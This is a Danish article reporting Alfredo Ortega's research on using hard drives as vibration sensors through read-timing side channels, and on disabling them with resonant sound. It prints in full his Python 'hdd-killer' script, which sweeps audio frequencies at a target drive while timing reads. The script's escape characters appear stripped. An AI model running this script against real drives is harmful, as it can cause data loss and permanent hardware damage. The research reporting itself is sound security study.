Hvorfor du ikke kan skrige på din HDD

Hvorfor du ikke kan skrige på din HDD

På Ekoparty 2017 computersikkerhedskonferencen i Buenos Aires viste den argentinske hacker Alfredo Ortega en meget interessant udvikling - et system til skjult aflytning af lokaler uden brug af mikrofon. Lyd optages direkte på harddisken!

HDD'en opfanger hovedsageligt højintensive lavfrekvente lyde, fodtrin og andre vibrationer. Menneskelig tale kan endnu ikke genkendes, selvom videnskabsmænd udfører forskning i denne retning (talegenkendelse ved lavfrekvente vibrationer, som f.eks. optages fra et gyroskop eller HDD).

Lyd er vibration af luft eller et andet medium. En person opfatter dem gennem trommehinden, som overfører vibrationer til det indre øre. Mikrofonen er designet nogenlunde som et øre – også her optages vibrationer af en tynd membran, som exciterer en elektrisk impuls. Harddisken er naturligvis også udsat for mikroskopiske vibrationer på grund af udsving i den omgivende luft. Dette er kendt selv fra de tekniske egenskaber af HDD'er: fabrikanter angiver normalt det maksimalt tilladte vibrationsniveau, og harddisken selv forsøger ofte at placere den i en vibrationssikker beholder lavet af gummi eller andet isolerende materiale. Ud fra dette er det let at konkludere, at lyde kan optages med HDD. Det eneste der er tilbage er at finde ud af hvordan.

Alfredo Ortega foreslog en unik version af et sidekanalangreb, nemlig et tidsangreb. Dette angreb er baseret på den antagelse, at forskellige operationer udføres på enheden på forskellige tidspunkter, afhængigt af de givne inputdata. I dette tilfælde er "inputdata" vibrationerne fra læsehovedet og HDD-pladen, som korrelerer med omgivelsernes vibrationer, det vil sige med lyd. Ved at måle beregningstiden og udføre en statistisk analyse af dataene kan hovedets/pladens vibrationer således måles og dermed mediets vibrationer. Jo længere forsinkelsen er i at læse data, desto stærkere er harddiskens vibrationer og derfor jo højere lyd.

Hvordan måler man harddiskens vibration? Meget enkelt: Kør blot systemkaldet read () - og optag den tid, det tager at gennemføre. Moderne operativsystemer giver dig mulighed for at læse timingen af ​​systemopkald med nanosekunders nøjagtighed.

Hastigheden af ​​at læse information fra en sektor afhænger af positionen af ​​hovedet og tallerkenen, hvilket korrelerer med vibrationerne i HDD-kabinettet. Det er alt.

Statistisk analyse udføres ved hjælp af et simpelt Kscope-værktøj. Som de siger, er alt genialt enkelt.

Hvorfor du ikke kan skrige på din HDD
Kscope-værktøj (stat() syscall)

Kscope er et lille værktøj til at visualisere små forskelle i systemopkalds eksekveringstider. Kildeudgivet på GitHub.

I et separat depot HDD-tid der er en version af hjælpeprogrammet konfigureret til et tidsangreb på harddisken, det vil sige konfigureret til at analysere systemkaldet read ().

Demonstration af lydoptagelse ved hjælp af HDD, betjening af Kscope-værktøjet


Tale kan naturligvis ikke forstås på denne måde, men HDD'en er ganske velegnet som vibrationssensor. For eksempel kan du registrere, hvis en person iført hårde sko eller barfodet kom ind i et rum med en computer (sandsynligvis, hvis angriberen har bløde sneakers på, eller der er et tykt tæppe på gulvet, vil HDD'en ikke være i stand til at registrere vibrationer - dette er værd at tjekke). Computeren er i stand til at registrere glasskår eller andre hændelser med stærk lydintensitet. Det vil sige, at harddisken kan fungere som en slags uautoriseret indtrængningssystem.

HDD dræber

Forresten kan en lignende teknik bruges til at deaktivere harddiske. Kun her fjerner vi ikke svingninger fra HDD'en, men tværtimod genererer vi oscillationer, der føres til HDD'en. Hvis du afspiller lyd fra en højttaler ved en frekvens, der giver genlyd med HDD-frekvensen, slukker systemet snart for enheden med en I/O-fejl (Linux-kernen slukker fuldstændigt for HDD'en efter 120 sekunder). Selve harddisken kan lide uoprettelig skade.

Hvorfor du ikke kan skrige på din HDD
Linux-kernen slukkede for harddisken efter 120 sekunders levering af lyd ved en resonansfrekvens gennem højttaleren på Edifier r19u USB-højttaleren. Højttaleren tændes ved cirka en fjerdedel af effekten (mindre end 100 mW) og er placeret 20 cm fra HDD'en, rettet mod bordet for at forstærke vibrationer. Ramme fra video med en demonstration af HDD-morderen

Det er mærkeligt, at sådanne "angreb" på HDD'er nogle gange forekommer helt ved et uheld i hverdagen. For eksempel blev ING Banks datacenter i september 2016 tvunget til at indstille driften i 10 timer efter en brandøvelse. Dusinvis af harddiske har fejlet på grund af den høje lyd af inert gas, der frigives fra flasker under højt tryk. Lyden var meget høj (mere end 130 dB), men du kan ikke engang råbe på harddiskene - dette øger forsinkelsen i at få adgang til HDD'en.

Demonstration af menneskelig skrig på harddiske i et datacenter. Latency måling


For at generere den resonerende lyd skrev Alfredo Ortega et Python-script kaldet hdd-dræber (video demonstration).

HDD killer script Den er ret lille, så du kan udgive den i sin helhed her.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Kilde: www.habr.com

Tilføj en kommentar